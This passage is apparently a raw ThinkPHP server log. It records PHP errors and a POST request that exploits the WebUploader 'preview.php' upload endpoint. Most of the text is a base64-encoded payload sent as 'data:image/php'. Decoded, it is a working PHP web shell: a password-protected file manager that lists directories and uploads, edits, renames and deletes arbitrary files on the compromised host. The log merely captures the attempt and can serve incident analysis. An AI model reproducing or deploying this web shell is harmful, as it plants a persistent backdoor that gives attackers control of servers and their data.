b3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:04:46+08:00 ] 119.42.146.234 POST 59.110.137.245/public/static/manage/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002653s] [吞吐率:376.95req/s] [内存消耗:196.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3Njcmlwd